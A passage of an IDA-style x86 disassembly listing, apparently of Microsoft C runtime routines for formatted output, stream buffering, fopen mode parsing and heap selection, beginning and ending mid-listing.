sub_419E38+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41A328 or byte ptr [ebp+var_4+1], 2 jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2F3: ; CODE XREF: sub_419E38+417j lea eax, [ebp+arg_8] push eax call sub_41A617 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41A30C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41A311 ; --------------------------------------------------------------------------- loc_41A30C: ; CODE XREF: sub_419E38+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41A311: ; CODE XREF: sub_419E38+4D2j mov [ebp+var_28], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A31D: ; CODE XREF: sub_419E38+2F7j ; sub_419E38+40Ej or [ebp+var_4], 40h loc_41A321: ; CODE XREF: sub_419E38+432j mov [ebp+var_C], 0Ah loc_41A328: ; CODE XREF: sub_419E38+491j ; sub_419E38+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41A33A lea eax, [ebp+arg_8] push eax call sub_41A624 pop ecx jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A33A: ; CODE XREF: sub_419E38+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41A361 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A356 call sub_41A617 pop ecx movsx eax, ax loc_41A353: ; CODE XREF: sub_419E38+527j ; sub_419E38+539j cdq jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A356: ; CODE XREF: sub_419E38+510j call sub_41A617 pop ecx movzx eax, ax jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A361: ; CODE XREF: sub_419E38+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A373 call sub_41A617 pop ecx jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A373: ; CODE XREF: sub_419E38+531j call sub_41A617 pop ecx xor edx, edx loc_41A37B: ; CODE XREF: sub_419E38+500j ; sub_419E38+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41A39C test edx, edx jg short loc_41A39C jl short loc_41A38B test eax, eax jnb short loc_41A39C loc_41A38B: ; CODE XREF: sub_419E38+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41A3A0 ; --------------------------------------------------------------------------- loc_41A39C: ; CODE XREF: sub_419E38+547j ; sub_419E38+54Bj ... mov esi, eax mov edi, edx loc_41A3A0: ; CODE XREF: sub_419E38+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41A3A9 and edi, 0 loc_41A3A9: ; CODE XREF: sub_419E38+56Cj cmp [ebp+var_10], 0 jge short loc_41A3B8 mov [ebp+var_10], 1 jmp short loc_41A3BC ; --------------------------------------------------------------------------- loc_41A3B8: ; CODE XREF: sub_419E38+575j and [ebp+var_4], 0FFFFFFF7h loc_41A3BC: ; CODE XREF: sub_419E38+57Ej mov eax, esi or eax, edi jnz short loc_41A3C6 and [ebp+var_1C], 0 loc_41A3C6: ; CODE XREF: sub_419E38+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41A3CC: ; CODE XREF: sub_419E38+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41A3DC mov eax, esi or eax, edi jz short loc_41A417 loc_41A3DC: ; CODE XREF: sub_419E38+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4191D0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_419250 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41A40D add ebx, [ebp+var_2C] loc_41A40D: ; CODE XREF: sub_419E38+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41A3CC ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: sub_419E38+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41A442 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41A435 test eax, eax jnz short loc_41A442 loc_41A435: ; CODE XREF: sub_419E38+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41A43F: ; CODE XREF: sub_419E38+35Fj ; sub_419E38+406j ... mov [ebp+var_C], eax loc_41A442: ; CODE XREF: sub_419E38+21Bj ; sub_419E38+2FDj ... cmp [ebp+var_28], 0 jnz loc_41A540 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41A47A test bh, 1 jz short loc_41A45F mov [ebp+var_16], 2Dh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A45F: ; CODE XREF: sub_419E38+61Fj test bl, 1 jz short loc_41A46A mov [ebp+var_16], 2Bh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A46A: ; CODE XREF: sub_419E38+62Aj test bl, 2 jz short loc_41A47A mov [ebp+var_16], 20h loc_41A473: ; CODE XREF: sub_419E38+625j ; sub_419E38+630j mov [ebp+var_1C], 1 loc_41A47A: ; CODE XREF: sub_419E38+61Aj ; sub_419E38+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41A49A lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A49A: ; CODE XREF: sub_419E38+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41A5DF add esp, 10h test bl, 8 jz short loc_41A4CC test bl, 4 jnz short loc_41A4CC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41A5AE add esp, 10h loc_41A4CC: ; CODE XREF: sub_419E38+67Bj ; sub_419E38+680j cmp [ebp+var_24], 0 jz short loc_41A513 cmp [ebp+var_C], 0 jle short loc_41A513 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41A4E1: ; CODE XREF: sub_419E38+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41FAFB pop ecx test eax, eax pop ecx jle short loc_41A528 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41A5DF add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41A4E1 jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A513: ; CODE XREF: sub_419E38+698j ; sub_419E38+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41A5DF add esp, 10h loc_41A528: ; CODE XREF: sub_419E38+6BCj ; sub_419E38+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41A540 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A540: ; CODE XREF: sub_419E38+68j ; sub_419E38+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_419E64 loc_41A551: ; CODE XREF: sub_419E38+1Fj ; sub_419E38+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_419E38 endp ; --------------------------------------------------------------------------- off_41A559 dd offset loc_419FD7 ; DATA XREF: sub_419E38+6Er dd offset loc_419EAD ; jump table for switch statement dd offset loc_419EC8 dd offset loc_419F14 dd offset loc_419F4B dd offset loc_419F53 dd offset loc_419F88 dd offset loc_41A01B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A579 proc near ; CODE XREF: sub_419E38+1BDp ; sub_419E38+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41A592 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41A59D ; --------------------------------------------------------------------------- loc_41A592: ; CODE XREF: sub_41A579+9j push ecx push [ebp+arg_0] call sub_419D23 pop ecx pop ecx loc_41A59D: ; CODE XREF: sub_41A579+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41A5AA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41A5AA: ; CODE XREF: sub_41A579+2Aj inc dword ptr [eax] pop ebp retn sub_41A579 endp ; =============== S U B R O U T I N E ======================================= sub_41A5AE proc near ; CODE XREF: sub_419E38+65Ap ; sub_419E38+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41A5DC mov esi, [esp+8+arg_C] loc_41A5BF: ; CODE XREF: sub_41A5AE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41A579 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41A5DC mov eax, edi dec edi test eax, eax jg short loc_41A5BF loc_41A5DC: ; CODE XREF: sub_41A5AE+Bj ; sub_41A5AE+25j pop edi pop esi retn sub_41A5AE endp ; =============== S U B R O U T I N E ======================================= sub_41A5DF proc near ; CODE XREF: sub_419E38+670p ; sub_419E38+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41A613 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41A5F5: ; CODE XREF: sub_41A5DF+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41A579 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41A613 mov eax, ebx dec ebx test eax, eax jg short loc_41A5F5 loc_41A613: ; CODE XREF: sub_41A5DF+Cj ; sub_41A5DF+2Bj pop edi pop esi pop ebx retn sub_41A5DF endp ; =============== S U B R O U T I N E ======================================= sub_41A617 proc near ; CODE XREF: sub_419E38+E5p ; sub_419E38+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41A617 endp ; =============== S U B R O U T I N E ======================================= sub_41A624 proc near ; CODE XREF: sub_419E38+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41A624 endp ; =============== S U B R O U T I N E ======================================= sub_41A634 proc near ; CODE XREF: sub_419E38+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41A634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A642 proc near ; CODE XREF: sub_417794+17p ; sub_417794+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41A660 mov ecx, off_433C70 movzx eax, word ptr [ecx+eax*2] jmp short loc_41A6B2 ; --------------------------------------------------------------------------- loc_41A660: ; CODE XREF: sub_41A642+10j mov ecx, eax push esi mov esi, off_433C70 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41A685 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41A68E ; --------------------------------------------------------------------------- loc_41A685: ; CODE XREF: sub_41A642+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41A68E: ; CODE XREF: sub_41A642+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41FB63 add esp, 1Ch test eax, eax jnz short loc_41A6AE leave retn ; --------------------------------------------------------------------------- loc_41A6AE: ; CODE XREF: sub_41A642+68j movzx eax, word ptr [ebp+arg_0+2] loc_41A6B2: ; CODE XREF: sub_41A642+1Cj and eax, [ebp+arg_4] leave retn sub_41A642 endp ; =============== S U B R O U T I N E ======================================= sub_41A6B7 proc near ; CODE XREF: sub_417900+2Ap ; sub_41FEC6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4CEDE0 jnb loc_41A751 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41A751 push edi call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A730 cmp edi, 1 jz short loc_41A6FE cmp edi, 2 jnz short loc_41A714 loc_41A6FE: ; CODE XREF: sub_41A6B7+40j push 2 call sub_41FE32 push 1 mov ebp, eax call sub_41FE32 pop ecx cmp eax, ebp pop ecx jz short loc_41A730 loc_41A714: ; CODE XREF: sub_41A6B7+45j push edi call sub_41FE32 pop ecx push eax nop call near ptr 26318FCh test eax, eax jnz short loc_41A730 call near ptr 2650C0Ah nop mov ebp, eax jmp short loc_41A732 ; --------------------------------------------------------------------------- loc_41A730: ; CODE XREF: sub_41A6B7+3Bj ; sub_41A6B7+5Bj ... xor ebp, ebp loc_41A732: ; CODE XREF: sub_41A6B7+77j push edi call sub_41FDB8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41A74D push ebp call sub_41EF44 pop ecx jmp short loc_41A762 ; --------------------------------------------------------------------------- loc_41A74D: ; CODE XREF: sub_41A6B7+8Bj xor eax, eax jmp short loc_41A765 ; --------------------------------------------------------------------------- loc_41A751: ; CODE XREF: sub_41A6B7+Ej ; sub_41A6B7+2Fj and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41A762: ; CODE XREF: sub_41A6B7+94j or eax, 0FFFFFFFFh loc_41A765: ; CODE XREF: sub_41A6B7+98j pop edi pop esi pop ebp pop ebx retn sub_41A6B7 endp ; =============== S U B R O U T I N E ======================================= sub_41A76A proc near ; CODE XREF: sub_417900+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41A793 test al, 8 jz short loc_41A793 push dword ptr [esi+8] call sub_417C3B and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41A793: ; CODE XREF: sub_41A76A+Aj ; sub_41A76A+Ej pop esi retn sub_41A76A endp ; =============== S U B R O U T I N E ======================================= sub_41A795 proc near ; CODE XREF: sub_41A835+2Dp ; sub_41A835+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41A7A7 push esi call sub_41A835 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A7A7: ; CODE XREF: sub_41A795+7j push esi call sub_41A7D0 test eax, eax pop ecx jz short loc_41A7B7 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A7B7: ; CODE XREF: sub_41A795+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41A7CC push dword ptr [esi+10h] call sub_41FE6F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41A7CC: ; CODE XREF: sub_41A795+26j xor eax, eax pop esi retn sub_41A795 endp ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_417900+1Ap ; sub_418D0E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41A81D test ax, 108h jz short loc_41A81D mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41A81D push edi push eax push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, edi jnz short loc_41A816 mov eax, [esi+0Ch] test al, 80h jz short loc_41A81D and al, 0FDh mov [esi+0Ch], eax jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A816: ; CODE XREF: sub_41A7D0+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41A81D: ; CODE XREF: sub_41A7D0+14j ; sub_41A7D0+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41A7D0 endp ; =============== S U B R O U T I N E ======================================= sub_41A82C proc near ; CODE XREF: sub_41FAE7p push 1 call sub_41A835 pop ecx retn sub_41A82C endp ; =============== S U B R O U T I N E ======================================= sub_41A835 proc near ; CODE XREF: sub_41A795+Ap ; sub_41A82C+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4CECC0, esi jle short loc_41A893 loc_41A846: ; CODE XREF: sub_41A835+5Cj mov eax, dword_4CDCB0 mov eax, [eax+esi*4] test eax, eax jz short loc_41A88A mov ecx, [eax+0Ch] test cl, 83h jz short loc_41A88A cmp [esp+0Ch+arg_0], 1 jnz short loc_41A870 push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A88A inc ebx jmp short loc_41A88A ; --------------------------------------------------------------------------- loc_41A870: ; CODE XREF: sub_41A835+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41A88A test cl, 2 jz short loc_41A88A push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41A88A or edi, eax loc_41A88A: ; CODE XREF: sub_41A835+1Bj ; sub_41A835+23j ... inc esi cmp esi, dword_4CECC0 jl short loc_41A846 loc_41A893: ; CODE XREF: sub_41A835+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41A89E mov eax, edi loc_41A89E: ; CODE XREF: sub_41A835+65j pop edi pop esi pop ebx retn sub_41A835 endp ; =============== S U B R O U T I N E ======================================= sub_41A8A2 proc near ; CODE XREF: sub_417956+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41FA1C test eax, eax pop ecx jz short loc_41A92B cmp esi, offset dword_4363A8 jnz short loc_41A8C0 xor eax, eax jmp short loc_41A8CB ; --------------------------------------------------------------------------- loc_41A8C0: ; CODE XREF: sub_41A8A2+18j cmp esi, offset dword_4363C8 jnz short loc_41A92B push 1 pop eax loc_41A8CB: ; CODE XREF: sub_41A8A2+1Cj inc dword_4CDB78 test word ptr [esi+0Ch], 10Ch jnz short loc_41A92B cmp dword_4CDA0C[eax*4], 0 push ebx push edi lea edi, ds:4CDA0Ch[eax*4] mov ebx, 1000h jnz short loc_41A911 push ebx call sub_417B89 test eax, eax pop ecx mov [edi], eax jnz short loc_41A911 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A91E ; --------------------------------------------------------------------------- loc_41A911: ; CODE XREF: sub_41A8A2+4Dj ; sub_41A8A2+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41A91E: ; CODE XREF: sub_41A8A2+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41A92B: ; CODE XREF: sub_41A8A2+10j ; sub_41A8A2+24j ... xor eax, eax pop esi retn sub_41A8A2 endp ; =============== S U B R O U T I N E ======================================= sub_41A92F proc near ; CODE XREF: sub_417956+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41A959 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41A96A push esi call sub_41A7D0 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A959: ; CODE XREF: sub_41A92F+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41A96A push eax call sub_41A7D0 pop ecx loc_41A96A: ; CODE XREF: sub_41A92F+10j ; sub_41A92F+32j pop esi retn sub_41A92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A96C proc near ; CODE XREF: sub_417988+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4CDB80 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41A9A5 cmp al, 72h jz short loc_41A99E cmp al, 77h jnz loc_41AAB9 mov ecx, 301h jmp short loc_41A9AA ; --------------------------------------------------------------------------- loc_41A99E: ; CODE XREF: sub_41A96C+21j xor ecx, ecx or esi, 1 jmp short loc_41A9AD ; --------------------------------------------------------------------------- loc_41A9A5: ; CODE XREF: sub_41A96C+1Dj mov ecx, 109h loc_41A9AA: ; CODE XREF: sub_41A96C+30j or esi, 2 loc_41A9AD: ; CODE XREF: sub_41A96C+37j push 1 pop edx loc_41A9B0: ; CODE XREF: sub_41A96C+8Bj ; sub_41A96C+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41AA9F cmp edx, ebx jz loc_41AA9F movsx eax, al cmp eax, 54h jg short loc_41AA3E jz short loc_41AA2E sub eax, 2Bh jz short loc_41AA18 sub eax, 19h jz short loc_41AA0E sub eax, 0Eh jz short loc_41A9F9 dec eax jnz loc_41AA90 cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41A9F9: ; CODE XREF: sub_41A96C+6Fj cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA0E: ; CODE XREF: sub_41A96C+6Aj test cl, 40h jnz short loc_41AA90 or ecx, 40h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA18: ; CODE XREF: sub_41A96C+65j test cl, 2 jnz short loc_41AA90 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA2E: ; CODE XREF: sub_41A96C+60j mov eax, 1000h test ecx, eax jnz short loc_41AA90 or ecx, eax jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA3E: ; CODE XREF: sub_41A96C+5Ej sub eax, 62h jz short loc_41AA8B dec eax jz short loc_41AA74 sub eax, 0Bh jz short loc_41AA5D sub eax, 6 jnz short loc_41AA90 test ch, 0C0h jnz short loc_41AA90 or ch, 40h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA5D: ; CODE XREF: sub_41A96C+DDj cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA74: ; CODE XREF: sub_41A96C+D8j cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA8B: ; CODE XREF: sub_41A96C+D5j test ch, 0C0h jz short loc_41AA97 loc_41AA90: ; CODE XREF: sub_41A96C+72j ; sub_41A96C+7Bj ... xor edx, edx jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA97: ; CODE XREF: sub_41A96C+122j or ch, 80h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA9F: ; CODE XREF: sub_41A96C+4Aj ; sub_41A96C+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41FEC6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41AABD loc_41AAB9: ; CODE XREF: sub_41A96C+25j xor eax, eax jmp short loc_41AAD7 ; --------------------------------------------------------------------------- loc_41AABD: ; CODE XREF: sub_41A96C+14Bj mov eax, [ebp+arg_C] inc dword_4CDB78 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41AAD7: ; CODE XREF: sub_41A96C+14Fj pop edi pop esi pop ebx leave retn sub_41A96C endp ; =============== S U B R O U T I N E ======================================= sub_41AADC proc near ; CODE XREF: sub_417988p mov edx, dword_4CECC0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41AB4D mov ebx, dword_4CDCB0 mov edi, ebx loc_41AAF8: ; CODE XREF: sub_41AADC+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41AB13 test byte ptr [ecx+0Ch], 83h jz short loc_41AB0E inc eax add edi, 4 cmp eax, edx jl short loc_41AAF8 jmp short loc_41AB4D ; --------------------------------------------------------------------------- loc_41AB0E: ; CODE XREF: sub_41AADC+26j mov esi, [ebx+eax*4] jmp short loc_41AB37 ; --------------------------------------------------------------------------- loc_41AB13: ; CODE XREF: sub_41AADC+20j mov edi, eax push 20h shl edi, 2 call sub_417B89 pop ecx mov ecx, dword_4CDCB0 mov [edi+ecx], eax mov eax, dword_4CDCB0 mov edi, [edi+eax] cmp edi, ebp jz short loc_41AB4D mov esi, edi loc_41AB37: ; CODE XREF: sub_41AADC+35j cmp esi, ebp jz short loc_41AB4D or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41AB4D: ; CODE XREF: sub_41AADC+12j ; sub_41AADC+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AADC endp ; =============== S U B R O U T I N E ======================================= sub_41AB54 proc near ; CODE XREF: sub_417B9B+1Fp ; sub_41944F+126p ... arg_0 = dword ptr 4 mov eax, dword_4CDA18 test eax, eax jz short loc_41AB6C push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41AB6C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AB6C: ; CODE XREF: sub_41AB54+7j ; sub_41AB54+12j xor eax, eax retn sub_41AB54 endp ; =============== S U B R O U T I N E ======================================= sub_41AB6F proc near ; CODE XREF: ___:0041ACD2p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2720A08h cmp word ptr [eax], 5A4Dh jnz short loc_41AB9A mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41AB9A add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41AB9A: ; CODE XREF: sub_41AB6F+15j ; sub_41AB6F+1Cj pop esi retn sub_41AB6F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_417B30 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 2791505h nop test eax, eax jz short loc_41ABDF cmp dword ptr [ebp-88h], 2 jnz short loc_41ABDF cmp dword ptr [ebp-94h], 5 jb short loc_41ABDF push 1 pop eax jmp loc_41ACE1 ; --------------------------------------------------------------------------- loc_41ABDF: ; CODE XREF: ___:0041ABC3j ; ___:0041ABCCj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 2830000h nop test eax, eax jz loc_41ACCE xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41AC21 loc_41AC0E: ; CODE XREF: ___:0041AC1Fj mov al, [ecx] cmp al, 61h jl short loc_41AC1C cmp al, 7Ah jg short loc_41AC1C sub al, 20h mov [ecx], al loc_41AC1C: ; CODE XREF: ___:0041AC12j ; ___:0041AC16j inc ecx cmp [ecx], bl jnz short loc_41AC0E loc_41AC21: ; CODE XREF: ___:0041AC0Cj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_418DA0 add esp, 0Ch test eax, eax jnz short loc_41AC43 lea eax, [ebp-122Ch] jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC43: ; CODE XREF: ___:0041AC39j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2660000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41AC77 loc_41AC64: ; CODE XREF: ___:0041AC75j mov al, [ecx] cmp al, 61h jl short loc_41AC72 cmp al, 7Ah jg short loc_41AC72 sub al, 20h mov [ecx], al loc_41AC72: ; CODE XREF: ___:0041AC68j ; ___:0041AC6Cj inc ecx cmp [ecx], bl jnz short loc_41AC64 loc_41AC77: ; CODE XREF: ___:0041AC62j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_417880 pop ecx pop ecx loc_41AC8C: ; CODE XREF: ___:0041AC41j cmp eax, ebx jz short loc_41ACCE push 2Ch push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx jz short loc_41ACCE inc eax mov ecx, eax cmp [eax], bl jz short loc_41ACB3 loc_41ACA5: ; CODE XREF: ___:0041ACB1j cmp byte ptr [ecx], 3Bh jnz short 